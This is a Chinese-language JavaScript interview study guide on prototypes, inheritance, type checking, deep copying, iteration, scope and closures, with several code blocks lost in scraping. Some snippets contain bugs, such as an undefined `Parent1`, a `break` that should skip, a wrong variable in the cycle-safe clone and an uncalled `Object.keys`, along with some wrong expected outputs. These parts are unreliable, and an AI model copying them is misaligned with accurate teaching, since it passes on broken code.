// o3.__proto__: 实例的__prto__属性,o3.__proto__ === M.prototype
// 实际上函数也有__proto__属性,M.__proto__ === Function.prototype,这个逻辑说明M构造函数是Function的一个实例
面试题:写一个原型链继承的demo
1 | // 父类 |
打印 console.dir(abc);
从图中我们可以看出,通过 prototype
扩展的属性会挂载在 __proto__
属性下,通过 hasOwnProperty
方法可过滤扩展的属性1
2abc.hasOwnProperty('sex'); // true
abc.hasOwnProperty('getSex'); // false
我们可以打印一下隐式原型 __proto__
和显式原型 prototype
的关系图
打印 console.log(abc.prototype)
,输出为 undefined
,我们可以知道,实例是没有 prototype
属性的
面试题:写一个实际应用中使用原型链的例子
1 | // 实现类似jquery html()和on(event, fn)方法 |
面试题:描述 new 一个对象的过程
1 | function Foo(name, age) { |
- 创建一个对象f
this
指向这个新对象- 执行代码,即对
this
赋值 - 返回
this
,内部会有一句默认的return this
面向对象
ECMAScript中有两种开发模式:函数式编程和面向对象(OOP)。
什么是面向对象
面向对象只是过程式代码的一种高度封装,目的在于提高代码的开发效率和可维护性。
它将真实世界各种复杂的关系,抽象为一个个对象,然后由对象之间的分工与合作,完成对真实世界的模拟。
在面向对象程序开发思想里,每一个对象都是功能中心,具有明确的分工。
因此面向对象具有:灵活、代码可复用、高度模块化等特点,容易维护和开发。
面向对象语言有一个标志–类,通过类可以创建任意个具有相同属性和方法的对象。
定义类
ES5
1
2
3
4
5function Animal(name) {
this.name = name;
}
new Animal('dog'); // Animal {name: "dog"} 注:如果不传参数时,括号可省略ES6 class
1
2
3
4
5
6
7class Animal2 {
constructor(name) {
this.name = name;
}
}
new Animal2('cat'); // Animal2 {name: "cat"}
ES5继承
1、借助构造函数实现简单继承
只能继承构造函数里面的属性和方法,不能继承原型链(proto)上的属性和方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18function Parent(name) {
this.name = name
this.run = function () {
console.log(`${this.name} is running`)
}
}
Parent.prototype.work = function () {
console.log(`${this.name} is working`)
}
function Child(name){
Parent1.call(this, name) // 也可使用apply
}
var c1 = new Child('Zhangsan')
console.log(c1.name) // Zhangsan
c1.run() // Zhangsan is running
c1.work() // Error
2、借助原型链实现继承
能继承构造函数 和 原型链上的属性和方法,但是无法传参
对于引用类型(如数组),多个实例共用地址,修改其中一个,其他的也会跟着改变1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30function Parent(name) {
this.name = name
this.flag = false
this.values = [1, 2, 3]
this.run = function () {
console.log(`${this.name} is running`)
}
}
Parent.prototype.work = function () {
console.log(`${this.name} is working`)
}
function Child(){}
Child.prototype = new Parent()
var c2 = new Child('Zhangsan')
var c3 = new Child('Lisi')
console.log(c2.name) // undefined
c2.run() // undefined is running
c2.work() // undefined is working
c2.flag = true
c2.values.push(4)
console.log(c2.flag, c3.flag) // true、false
console.log(c2.values, c3.values) // [1, 2, 3, 4]、[1, 2, 3, 4],对于引用类型,多个实例共用地址
// 原型链解释:
// 调用name、run()、work()时,先查找实例c2自身的属性和方法,没有查到。
// 就去查找实例的构造函数的prototype(即Child2.prototype,也即是c2.__proto__),找到了name、run()
// 继续向下插槽Parent2.prototype(即c2.__proto__),找到了work()
3、组合方法(构造函数 + 原型链)
能继承构造函数 和 原型链上的属性和方法,也可以传参1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27function Parent(name) {
this.name = name
this.value = [1, 2, 3]
this.run = function () {
console.log(`${this.name} is running`)
}
}
Parent.prototype.work = function () {
console.log(`${this.name} is working`)
}
function Child(name){
Parent.call(this, name)
}
Child.prototype = new Parent()
var c1 = new Child('Zhangsan')
var c2 = new Child('Lisi')
console.log(c1.name) // Zhangsan
c1.run() // Zhangsan is running
c1.work() // Zhangsan is working
c1.value.push(4);
console.log(c1.value, c2.value); // [1, 2, 3, 4]、[1, 2, 3]
// 这种组合方式有一个弊端:
// 执行Parent.call的时候父类构造函数会执行一次,每次实例化的时候又会执行一次,造成内存浪费
// 本例中Parent共被执行三次
4、组合方法优化1(构造函数 + 原型链)
1 | function Parent(name) { |
5、组合方法优化2(构造函数 + 原型链)
1 | function Parent(name) { |
ES6 Class继承
类的申明
1 | let methodName = 'info' |
类的继承
1 | // 父类 |
扩建Array
定义一个myArray类,完全继承Array1
2
3
4
5
6
7
8
9
10
11
12
13class myArray extends Array{
constructor() {
super()
}
}
const colors = new myArray()
colors[0] = 'red'
console.log(colors.length)
colors.length = 0
console.log(colors[0])
基于 Array
实现一个 MoviewCollection
,第一个参数为一个特殊描述,后续为不定个数的统一数据结构的对象1
2
3
4
5
6const movies = new MoviewCollection('favorite movies',
{ name: 'The Croolds', scores: 8.7 },
{ name: 'The Shawshank Redemption', scores: 9.6 },
{ name: 'Leon', scores: 9.4 },
{ name: 'Days of Summer', scores: 8.0 },
)
实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27class MoviesCollection extends Array{
constructor(desc, ...items) {
super(...items) // this指向的是实例
this.desc = desc
}
add(movie) {
this.push(movie)
}
}
const movies = new MoviesCollection('favorite movies',
{ name: 'The Croolds', scores: 8.7 },
{ name: 'The Shawshank Redemption', scores: 9.6 },
{ name: 'Leon', scores: 9.4 },
)
movies.push({ name: 'Last Day', scores: 7.0 })
/*
[
{name: "The Croolds", scores: 8.7},
{name: "The Shawshank Redemption", scores: 9.6},
{name: "Leon", scores: 9.4},
{name: "Last Day", scores: 9},
desc: "favorite movies"
]
*/
此外,我们还可以在子类中添加一个 TopRated
的方法,在 add
后面添加:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21// limit表示取前几项排序
topRated(limit = 10) {
// 升序
return this.sort((a, b) => a.scores - b.scores).slice(0, limit)
// return this.sort((a, b) => (a.scores > b.scores) ? 1 : -1).slice(0, limit)
// 降序
// return this.sort((a, b) => b.scores - a.scores).slice(0, limit)
// return this.sort((a, b) => (b.scores > a.scores) ? 1 : -1).slice(0, limit)
}
movies.topRate()
/*
[
{name: "The Croolds", scores: 8.7},
{name: "Last Day", scores: 9},
{name: "Leon", scores: 9.4},
{name: "The Shawshank Redemption", scores: 9.6},
desc: 4
]
*/
typeof 和 instanceof
JavaScript常使用 typeof
和 instanceof
来判断一个变量是否为空或者是什么类型。
typeof
typeof的定义和用法:返回值是一个字符串,用来说明变量的数据类型。
typeof
一般返回:undefined
、boolean
、string
、number
、function
、object
,注意不等同于js的基本类型1
2
3
4
5
6
7
8
9
10
11
12
13typeof undefined; // 'undefined'
typeof true; // 'boolean'
typeof 'abc'; // 'string'
typeof 123; // 'number'
typeof null; // 'object'
typeof []; // 'object'
typeof {}; // 'object'
typeof new Set(); // 'object'
typeof new Map(); // 'object'
typeof Object; // 'funciton'
typeof Array; // 'function'
typeof function () {}; // 'function'
typeof console.log; // 'function'
获取一个变量是否存在
1
if (typeof a !== 'undefined') {}
而不要使用
1
if (a) {}
a如果不存在(未申明)时会报错。
对于
Array
,Null
等特殊对象使用typeof
一律返回object
,这正是typeof
的局限性,可以借助instanceof
instanceOf
instanceof定义和用法:instanceof
用于判断一个变量是否属于某个对象的实例。
注:不能检测 null
和 undefined
。
1 | a instanceof b; // a是b的实例 |
1 | var a = new Array(); |
1 | var a = '123' |
1 | function test(){}; |
1 | null instanceof Null; // Uncaught ReferenceError: Null is not defined |
js检测一个变量是String类型
es5方法
方法1:typeof
1
2
3function isString(str) {
return typeof str === 'string';
}方法2:constructor
1
2
3
4function isString(str) {
// return str.constructor === String;
return str.__proto__.constructor === String;
}方法3:Object.prototype.toString.call
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16function isString(str) {
return Object.prototype.toString.call(str) === '[object String]';
}
// 拓展:
Object.prototype.toString.call(1); // '[object Number]'
Object.prototype.toString.call(''); // '[object String]'
Object.prototype.toString.call([]); // '[object Array]'
Object.prototype.toString.call({}); // '[object Object]'
Object.prototype.toString.call(true); // '[object Boolean]'
Object.prototype.toString.call(null); // '[object Null]'
Object.prototype.toString.call(undefined); // '[object Undefined]'
Object.prototype.toString.call(function(){}); // '[object Function]'
Object.prototype.toString.call(new Date()); // '[object Date]'
Object.prototype.toString.call(new RegExp()); // '[object RegExp]'
Object.prototype.toString.call(new Error()); // '[object Error]'
js检测一个变量是Array类型
es5方式
方法1:instanceof
1
2
3function isArray(arr) {
return arr instanceof Array;
}方法2:constrctor
1
2
3
4function isArray(arr) {
// return arr.constructor === Array;
return arr.__proto__.constructor === Array;
}方法3:Object.prototype.toString.call(推荐使用此方法)
1
2
3function isArray(arr) {
return Object.prototype.toString.call(arr) === '[object Array]';
}方法4:Object.getPrototypeOf()
1
2
3function isArray(arr) {
return Object.getPrototypeOf(arr) === Array.prototype;
}方法5:Array.prototype.isPrototypeOf()
1
2
3function isArray(arr) {
return Array.prototype.isPrototypeOf(arr);
}
注:实际上,除了
Object.prototype.toString.call
这个方法,其余的方法并不绝对正确。如下,使用其他四种方法输出的都是true
:1
2
3var a = {
__proto__: Array.prototype
};我们只是手动指定了某个对象的
__proto__
属性为Array.prototype
,便导致了该对象继承了Array
对象,这种毫不负责任的继承方式,使得基于继承的判断方案瞬间土崩瓦解。参考:简书 判断变量是否为数组
es6方式
- 方法1:isArray方法
1
2
3function isArray(arr) {
return Array.isArray(arr);
}
- 方法1:isArray方法
null 和 undefined的区别
实例
1
2console.log(null == undefined); // true
console.log(null === undefined); // false定义:
- null: Null类型,代表“空值”,代表一个空对象指针,不指向任何对象地址。
- undefined: Undefined类型,当一个声明了一个变量未初始化时,得到的就是
undefined
。
何时使用
null
?
当使用完一个比较大的对象时,需要对其进行释放内存时,设置为null,这样方便垃圾回收。
js浅拷贝和深拷贝(针对引用类型数据Object)
浅拷贝:重新在堆内存中开辟一个空间,拷贝后新对象获得独立的基本数据类型数据,和原对象共用引用类型数据。
浅拷贝的表现:1
2
3
4var arr1 = [1, 2, 3];
var arr2 = arr1;
arr1.push(4);
console.log(arr1, arr2); // [1, 2, 3, 4]、[1, 2, 3, 4]深拷贝:将数据的基本数据类型和引用类型都拷贝一份,在内存中存在两个数据结构完全相同但是又互相独立的数据。
深拷贝的实现方式:简单引用类型(数组)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52// slice、concat、push、unshift、map、forEach、Array.from、Array.of、...运算符、数组解构等
// 都只能实现简单引用类型的拷贝
// case1: slice
// 深拷贝
var arr1 = [1, 2, 3];
var arr2 = arr1.slice();
// var arr2 = arr1.concat([])
arr1.push(4);
console.log(arr1, arr2); // [1, 2, 3, 4]、[1, 2, 3]
// 浅拷贝
var arr1 = [{a: 1}, {a: 11}];
var arr2 = arr1.slice();
// var arr2 = arr1.concat([])
arr1[0].a = 111;
console.log(arr1, arr2); // [{a: 111}, {a: 11}]、[{a: 111}, {a: 11}]
// case2: Array.form
// 深拷贝
var arr1 = [1, 2, 3];
var arr2 = Array.from(new Set(arr1));
// var arr2 = Array.of(...arr1);
arr1.push(4);
console.log(arr1, arr2);
// 浅拷贝
var arr1 = [{a: 1}, {a: 11}];
var arr2 = Array.from(new Set(arr1));
// var arr2 = Array.of(...arr1);
arr1[0].a = 111;
console.log(arr1, arr2);
// case3: ...运算符
// 深拷贝
var arr1 = [1, 2, 3];
var arr2 = [...arr1];
// var arr2 = new Array(...arr1);
// var [...arr2] = arr1;
arr1.push(4);
console.log(arr1, arr2);
// 浅拷贝
var arr1 = [{a: 1}, {a: 11}];
var arr2 = [...arr1];
// var arr2 = new Array(...arr1);
// var [...arr2] = arr1;
arr1[0].a = 111;
console.log(arr1, arr2);简单引用类型(对象)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// 深拷贝
// Object.assign 只能实现简单引用类型的深拷贝
var obj1 = {a: 1, b: 2}
var obj2 = Object.assign({}, obj1)
obj1.c = 3
console.log(obj1, obj2) // {a: 1, b: 2, c: 3}、{a: 1, b: 2}
// 浅拷贝
var obj1 = {a: {age: 20}}
var obj2 = Object.assign({}, obj1)
obj1.a.age = 30
console.log(obj1, obj2) // {a: {age: 30}}、{a: {age: 30}}
// 注意,如果是新增属性则不会影响源数据
var obj1 = {a: {age: 20}, b: {age: 25}}
var obj2 = Object.assign({}, obj1)
obj1.c = {age: 30}
console.log(obj1, obj2) // {a: {age: 20}, b: {age: 25}, c: {age: 30}}、{a: {age: 20}, b: {age: 25}}
// 结论:以上的方法都是当数组内部为基本类型时为深拷贝,为引用类型是为浅拷贝
JSON.parse(JSON.stringify())
; 但无法复制内部的函数热门库
lodash
提供了一个_.cloneDeep
的方法;jQuery
提供了一个$.extend(true, {}, {})
, 默认是浅拷贝(第一个参数不传),第一个传输传true为深拷贝;利用
MessageChannel
的序列号和反序列化实现深拷贝1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20// 注意:当消息包含函数、Symbol等不可序列化的值时,就会报无法克隆的DOM异常
function deepClone (obj) {
return new Promise((resolve, reject) => {
try {
const { port1, port2 } = new MessageChannel()
port2.onmessage = function (e) {
resolve(e.data)
}
port1.postMessage(obj)
} catch (error) {
reject(e)
}
})
}
const oldObj = { a: { b: 1 } };
deepClone(oldObj).then((newObj) => {
console.log(oldObj === newObj); // false
newObj.a.b = 2;
console.log(oldObj.a.b); // 1
});手写递归方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37// 实现深度克隆--只考虑对象/数组
function deepClone(target){
let result = Array.isArray(target) ? [] : {};
// 数组和对象的typeof 都是object(此处巧妙使用了typeof,也可以使用Object.prototype.toString.call(target).slice(8, -1)来取到类型Object或Array)
if (target && typeof target === 'object') {
// 遍历目标数据(for...in可以遍历对象和数组,后例会介绍其用法)
// target为数组时,i表示索引;为对象时,i表示key
for (let i in target) {
// 只处理自有属性
if (!target.hasOwnProperty(i)) break;
// 判断目标结构中的每一项是否存在对象/数组,决定是否需要递归下去
if (target[i] && typeof target[i] === 'object') {
result[i] = deepClone(target[i]); // 子属性仍是对象或数组,则递归执行
} else {
result[i] = target[i]; // 不需要递归,value已经能是基本的数据类型
}
}
}
return result;
}
// 测试:
var A = {
a: 1,
b: {c: 2},
}
var B = deepClone(A);
A.b.c = 22;
console.log(A); // {a: 1, b: {c: 22}}
console.log(B); // {a: 1, b: {c: 2}}手写递归方法(考虑含有循环引用)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17function deepClone(obj) {
let vistedMap = new Map()
function baseClone(target) {
if (!(target !== null && typeof obj === 'object')) return target
if(vistedMap.get(target)) return vistedMap.get(target)
let result = Array.isArray(target) ? [] : {}
vistedMap.set(target, result)
const keys = Object.keys(target);
for(let i = 0, len = keys.length; i < len; i++) {
result[keys[i]] = baseClone(target[keys[i]])
}
return result
}
return baseClone(obj)
}
js实现map、forEach、filter、reduce高阶函数
js实现map方法
1 | arr.map(function(item, index, self) { |
js实现forEach方法
1 | arr.forEach(function(item, index, self) { |
js实现filter方法(基本同map)
1 | arr.filter(function(item, index, self) { |
js实现reduce方法
1 | arr.reduce(function(prev, cur, index, arr){ |
forEach 和 map的区别
相同点:
- 都是循环遍历数组中的每一项
- 每次执行匿名函数都支持三个参数,参数分别为item(当前每一项),index(索引值),arr(原数组)
- 匿名函数中的
this
都是指向window
- 只能遍历数组
- 都没有break跳出循环,当想跳出循环可以使用every 和 some方法,参照下例
不同点
- map方法返回一个新的数组,数组中的元素为原始数组调用函数处理后的值,map方法不会改变原始数组
- map方法不会对空数组进行检测
- foreach方法没有返回一个新数组&没有返回值,即处理的是数组本身
- foreach方法会对空数组进行检测
map、forEach、every、some、$.each、for…in、es6 for…of等用法
map
1 | const arr = [ |
forEach
1 | let arr = [ |
every
1 | let arr = [ |
some
1 | let arr = [ |
$.each
$.each()是对数组,json和dom结构等的遍历
遍历list
1
2
3
4
5
6
7
8var arr = [100, 200, 300];
$.each(arr, (index, item) => {
console.log(index, item);
});
// 0 100
// 1 200
// 2 300遍历map
1
2
3
4
5
6
7
8
9
10
11
12var obj = {
a: 100,
b: 200,
c: 300
};
$.each(obj, (key, value) => {
console.log(key, value)
});
// a 100
// b 200
// c 300遍历list map
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30var listMap = [
{
id: 1,
name: '小明'
},
{
id: 2,
name: '小红'
},
{
id: 3,
name: '小白'
}
];
$.each(listMap, (index, item) => {
console.log('outer each:', index, item);
$.each(item, (key, value) => {
console.log('inner each:', key, value);
});
});
// outer each: 0 {id: 1, name: "小明"}
// inner each: id 1
// inner each: name 小明
// outer each: 1 {id: 2, name: "小红"}
// inner each: id 2
// inner each: name 小红
// outer each: 2 {id: 3, name: "小白"}
// inner each: id 3
// inner each: name 小白遍历dom
1
2
3
4<input name="aaa" type="hidden" value="111" />
<input name="bbb" type="hidden" value="222" />
<input name="ccc" type="hidden" value="333" />
<input name="ddd" type="hidden" value="444" />1
2
3
4
5
6
7
8$.each($("[type='hidden']"), (index, element) => {
console.log(index, element.item, element.value);
});
// 0 aaa 111
// 1 bbb 222
// 2 ccc 333
// 3 ddd 444jquery dom 遍历
1
$(selector).each(function (index, element) {});
这种写法常在遍历
Dom
的时候出现。
for…in
for…in 语句用于遍历数组或者对象的属性(对数组或者对象的属性进行循环操作)
for…in 语句取到的是list、string的索引 或 map的key
遍历list
1
2
3
4
5
6
7
8
9
10var list = [10, 20, 30, 40, 50];
for (let i in list) {
console.log(i, list[i]);
}
// 0 10
// 1 20
// 2 30
// 3 40
// 4 50遍历string
1
2
3
4
5
6
7
8
9
10var str = 'abcde';
for (let i in str) {
console.log(i, str[i]);
}
// 0 a
// 1 b
// 2 c
// 3 d
// 4 e遍历map
1
2
3
4
5
6
7
8
9
10
11
12
13var map = {
a: 100,
b: 200,
c: 300
}
for (let key in map) {
console.log(key, map[key]);
}
// a 100
// b 200
// c 300遍历list map
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22var listMap = [
{
id: 1,
name: '小明'
},
{
id: 2,
name: '小红'
},
{
id: 3,
name: '小白'
}
];
for (i in listMap) {
console.log(i, listMap[i]);
}
// 0 {id: 1, name: "小明"}
// 1 {id: 2, name: "小红"}
// 2 {id: 3, name: "小白"}
es6 for…of
for…of 语句不能对象使用
for…of 语句取到的是list、string的值或map的value,类似于forEach语句
内部支持break、continue
部署了Symbol.iterator遍历器的都可以使用for…of,如Array、String、Map、Set、NodeList、typeArray等
遍历list
1
2
3
4
5
6
7
8
9
10var list = [10, 20, 30, 40, 50];
for (let i of list) {
console.log(i, list[i]);
}
// 10 undefined
// 20 undefined
// 30 undefined
// 40 undefined
// 50 undefined遍历string
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18var str = 'abcde';
for (let value of str) {
if (value === 'c') break;
console.log(value);
}
// a
// b
var str = 'abcde';
for (let value of str) {
if (value === 'c') continue;
console.log(value);
}
// a
// c
// d
// e如何让for…of支持map
es6 遍历器map set 方法
详见阮一峰 Iterator遍历器转换数组法
虽然 for…of 语句不能直接作用在 map 上,但是我们可以使用某些方法将 map 转成数组后再处理,如:1
2
3
4
5
6
7var map = {
a: 100,
b: 200,
c: 300
};
console.log(Object.keys); // ['a', 'b', 'c']
console.log(Object.values); // [100, 200, 300]
高阶函数
高阶函数是指至少满足下列条件之一的函数:
- 函数可以作为参数被传递
- 函数可以作为返回值输出
常见的高阶函数:map
、filter
、reduce
、sort
、forEach
、some
、every
作用域与闭包
作用域
作用域是指程序源代码中定义变量的区域,一段程序代码中所用到的变量并不总是有效的,而限定这个变量的可用性的代码范围就是这个变量的作用域。
在JavaScript中使用的作用域是静态作用域(词法作用域),变量的作用域在变量定义时确认,而不是执行时确认。
在JavaScript中,作用域分为全局作用域和函数作用域。
ES5: 全局作用域、函数作用域
ES6: 新增块级作用域
全局作用域
代码在任何地方都可以被访问,window对象的内置对象都拥有全局作用域。最外层函数和在最外层函数外面定义的变量拥有全局作用域
1
2
3
4
5
6
7
8
9
10
11
12var outVariable = "我是最外层变量"; // 最外层变量
function outFun() { // 最外层函数
var inVariable = "内层变量";
function innerFun() { // 内层函数
console.log(inVariable);
}
innerFun();
}
console.log(outVariable); // 我是最外层变量
outFun(); // 内层变量
console.log(inVariable); // inVariable is not defined
innerFun(); // innerFun is not defined所有末定义直接赋值的变量自动声明为拥有全局作用域
1
2
3
4
5
6
7function outFun2() {
variable = "未定义直接赋值的变量";
var inVariable2 = "内层变量2";
}
outFun2(); // 要先执行这个函数,否则根本不知道里面是啥
console.log(variable); // 未定义直接赋值的变量
console.log(inVariable2); // inVariable2 is not defined所有 window 对象的属性拥有全局作用域
1
2
3
4window.name
window.location
window.Math
// ...
函数作用域
在固定的代码片段中才能被访问。1
2
3
4
5
6
7
8
9function doSomething(){
var blogName = "浪里行舟";
function innerSay(){
alert(blogName);
}
innerSay();
}
alert(blogName); //脚本错误
innerSay(); //脚本错误块级作用域
使用let、const关键创建块级作用域.
在函数内部或代码块中创建
作用域有上下级关系,上下级关系具体看函数在哪个作用域下创建的。
1
2
3
4
5
6
7
8
9
10
11
12var a = 10;
var b = 20;
function fn () {
var a = 100;
var c = 200
function fn2 () {
var a = 1000;
var d = 2000;
}
}
// “fn作用域” 是 “fn2作用域” 的上级作用域的用处:隔离变量,不同作用域下的同名变量不会有冲突。
作用域是分层的,内层作用域可以访问外层作用域的变量,反之则不行。
最后输出的结果为 2, 4, 12
泡泡 1 是全局作用域,有标识符 foo;
泡泡 2 是函数作用域 foo,有标识符 a,bar,b;
泡泡 3 是函数作用域 bar,仅有标识符 c。块语句,如if、switch、for等不像函数,不会创建新的作用域。块语句中定义的变量将保留在它们已经存在的作用域中
1
2
3
4
5if (true) {
// 'if' 条件语句块不会创建一个新的作用域
var name = 'Hammad'; // name 依然在全局作用域中
}
console.log(name); // logs 'Hammad'
作用域链
自由变量:当前作用域中没有定义的变量
1
2
3
4
5
6
7var a = 100
function fn() {
var b = 200
console.log(a) // 这里的a在这里就是一个自由变量
console.log(b)
}
fn()自由变量使用时如何查找呢?向父级作用域(创建这个函数的那个域)查找,父级没有,再一层一层向上查找,直到window对象。这种一层一层的关系就叫做作用域链。
1
2
3
4
5
6
7
8
9
10
11
12var a = 100
function F1() {
var b = 200
function F2() {
var c = 300
console.log(a) // 自由变量,顺着作用域链向父作用域找
console.log(b) // 自由变量,顺着作用域链向父作用域找
console.log(c) // 本作用域的变量
}
F2()
}
F1()自由变量的取值
1
2
3
4
5
6
7
8
9var x = 10
function fn() {
console.log(x)
}
function show(f) {
var x = 20
f() // 10,而不是20
}
show(fn)问:在 fn 函数中,取自由变量 x 的值时,要到哪个作用域中取?
答:要到创建 fn 函数的那个作用域中取,无论 fn 函数将在哪里调用。
执行上下文
- 范围:一段
<script>
或 一个函数 - 全局:变量定义、函数声明
- 函数:变量定义、函数声明、
this
、arguments
1 | // 后面的 var a 实际上会在此处先生成一段 var a = undefined; |
1 | // 函数声明 |
变量、函数声明默认会提前(变量提升),函数表示式不会提前。在函数内部的变量、函数同样也会提前。1
2
3
4
5
6
7
8
9
10
11
12
13
14fn1(); // 此处调用,可以正常执行
function fn1() {}
fn1(); // 此处调用,也可以正常执行。
fn2(); // 放在前面执行会报错
var fn2 = function() {}
fn2(); // 对于函数表达式,应该放在后面执行
// fn2() 放在前面执行的流程如下:
// 在顶部会生成一个 var fn2 = undefined;
var fn2 = undefined;
fn2(); // 执行相当于执行undefined,所以会报错
fn2 = function() {}
this
this
要在执行时才能确认值,定义时无法确认值1
2
3
4
5
6
7
8
9
10
11
12var a = {
name: 'A',
fn: function() {
console.log(this.name);
}
}
a.fn(); // this === a
a.fn.call({name: 'B'}); // this === {name: 'B'}
var fn1 = a.fn;
fn1(); // this === window
闭包
函数作为返回值
1
2
3
4
5
6
7
8
9
10
11
12function F1() {
var a = 100;
// 返回一个函数,函数作为返回值
return function () {
console.log(a); // a是自由变量,父作用域(申明时的作用域,而不是执行时的作用域)的查找
}
}
var f1 = F1();
var a = 200;
f1(); // 100函数作为参数传递
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16function F1() {
var a = 100;
// 返回一个函数,函数作为返回值
return function () {
console.log(a); // a是自由变量,父作用域的查找
}
}
var f1 = F1();
function F2(fn) {
var a = 200;
fn(); // 100;
}
F2(f1); // 将 f1 作为参数传给 F2
注意:var a = new Fn()
的 this
永远为 a,优先级最高,其次是 apply
、call
、bind
这类方法改变this,然后是 obj.foo()
这种指向调用者,最后是直接调用 foo()
。同时,箭头函数的 this
一旦被绑定,就不会再被任何方式所改变。
具体看下面的流程图:
面试题:变量提升
定义变量、函数时,会默认提到当前作用域的最前面
面试题:this的作用
- 作为构造函数执行
- 作为对象属性执行
- 作为普通函数执行
- call apply bind
面试题:创建10个a标签,点击的时候弹出序号
常规的思路(错误):1
2
3
4
5
6
7
8
9
10var i, a;
for (i = 0; i < 10; i++) {
a = document.createElement('a');
a.innerHTML = i + '<br>';
a.addEventListener('click', function (e) {
e.preventDefault();
alert(i);
});
document.body.appendChild(a);
}
解析:绑定的事件是在后续的时候执行的,因为 i 是一个自由变量,依托的是全局作用域,此时 i 早已变成 10了,所以无论点击哪一个弹出来的都是10
正确写法(使用自执行函数):1
2
3
4
5
6
7
8
9
10
11
12var i;
for (i = 0; i < 10; i++) {
(function (i) {
var a = document.createElement('a');
a.innerHTML = i + '<br>';
a.addEventListener('click', function (e) {
e.preventDefault();
alert(i);
});
document.body.appendChild(a);
})(i);
}
解析:使用一个自执行函数,将 i 从全局作用域变成了函数作用域,达到输出当前 i 的目的。
面试题:如何理解作用域
- 自由变量(函数内的变量是函数作用域,函数外的变量是全局作用域)
- 作用域链,即自由变量如何查找
- 闭包的2个使用场景
面试题:实际开发中闭包的使用
1 | // 闭包在实际应用中主要用于封装变量、收敛权限 |
闭包
什么是闭包
简单的说,Javascript允许使用内部函数(即函数定义和函数表达式位于另一个函数的函数体内)访问它们所在的外部函数中声明的所有局部变量、参数和声明的其他内部函数。当其中一个这样的内部函数在包含它们的外部函数之外被调用时,就会形成闭包。
案例
Demo1
1
2
3
4
5
6
7
8
9func(1)(2) = 3
func(3)(5) = 8
由上例推导函数主体
function func(num1) {
return function func(num2) {
return num1 + num2
}
}Demo2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15// 设置移动端基准字号
function makeSizer(size) {
return function() {
document.body.style.fontSize = size + 'px';
};
}
var size12 = makeSizer(12);
var size14 = makeSizer(14);
var size16 = makeSizer(16);
// 比如设置按钮点击时调用
document.getElementById('size-12').onclick = size12;
document.getElementById('size-14').onclick = size14;
document.getElementById('size-16').onclick = size16;
常见用途
匿名自执行函数
我们知道所有的变量,如果不加上var关键字,则默认的会添加到全局对象的属性上去,这样的临时变量加入全局对象有很多坏处,
比如:别的函数可能误用这些变量;造成全局对象过于庞大,影响访问速度(因为变量的取值是需要从原型链上遍历的)。
除了每次使用变量都是用var关键字外,我们在实际情况下经常遇到这样一种情况,即有的函数只需要执行一次,其内部变量无需维护,
比如UI的初始化,那么我们可以使用闭包:1
2
3
4
5
6
7
8
9
10
11
12
13var data= {
table : [],
tree : {}
};
(function(dm){
for(var i = 0; i < dm.table.rows; i++){
var row = dm.table.rows[i];
for(var j = 0; j < row.cells; i++){
drawCell(i, j);
}
}
})(data);我们创建了一个匿名的函数,并立即执行它,由于外部无法引用它内部的变量,因此在函数执行完后会立刻释放资源,关键是不污染全局对象。
结果缓存
我们开发中会碰到很多情况,设想我们有一个处理过程很耗时的函数对象,每次调用都会花费很长时间,
那么我们就需要将计算出来的值存储起来,当调用这个函数的时候,首先在缓存中查找,如果找不到,则进行计算,然后更新缓存并返回值,如果找到了,直接返回查找到的值即可。闭包正是可以做到这一点,因为它不会释放外部的引用,从而函数内部的值可以得以保留。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25var CachedSearchBox = (function() {
var cache = {},
count = [];
return {
attachSearchBox: function(dsid) {
if(dsid in cache){//如果结果在缓存中
return cache[dsid];//直接返回缓存中的对象
}
var fsb = new uikit.webctrl.SearchBox(dsid);//新建
cache[dsid] = fsb;//更新缓存
if(count.length > 100){//保正缓存的大小<=100
delete cache[count.shift()];
}
return fsb;
},
clearSearchBox: function(dsid) {
if(dsid in cache){
cache[dsid].clearSelection();
}
}
};
})();
CachedSearchBox.attachSearchBox("input");这样我们在第二次调用的时候,就会从缓存中读取到该对象。
封装代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24var person = function() {
//变量作用域为函数内部,外部无法访问
var name = "default";
return {
getName: function() {
return name;
},
setName: function(newName) {
name = newName;
}
}
}();
print(person.name);//直接访问,结果为undefined
print(person.getName());
person.setName("abruzzi");
print(person.getName());
得到结果如下:
// undefined
// default
// abruzzi实现类和继承
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28function Person(){
var name = "default";
return {
getName: function() {
return name;
},
setName: function(newName) {
name = newName;
}
}
};
var p = new Person();
p.setName("Tom");
alert(p.getName()); // Tom
var Jack = function(){};
//继承自Person
Jack.prototype = new Person();
//添加私有方法
Jack.prototype.Say = function(){
alert("Hello,my name is Jack");
};
var j = new Jack();
j.setName("Jack");
j.Say();
alert(j.getName());我们定义了Person,它就像一个类,我们new一个Person对象,访问它的方法。
下面我们定义了Jack,继承Person,并添加自己的方法。
闭包优缺点
优点
- 缓存
- 面向对象中的对象
- 实现封装,防止变量跑到外层作用域中,发生命名冲突
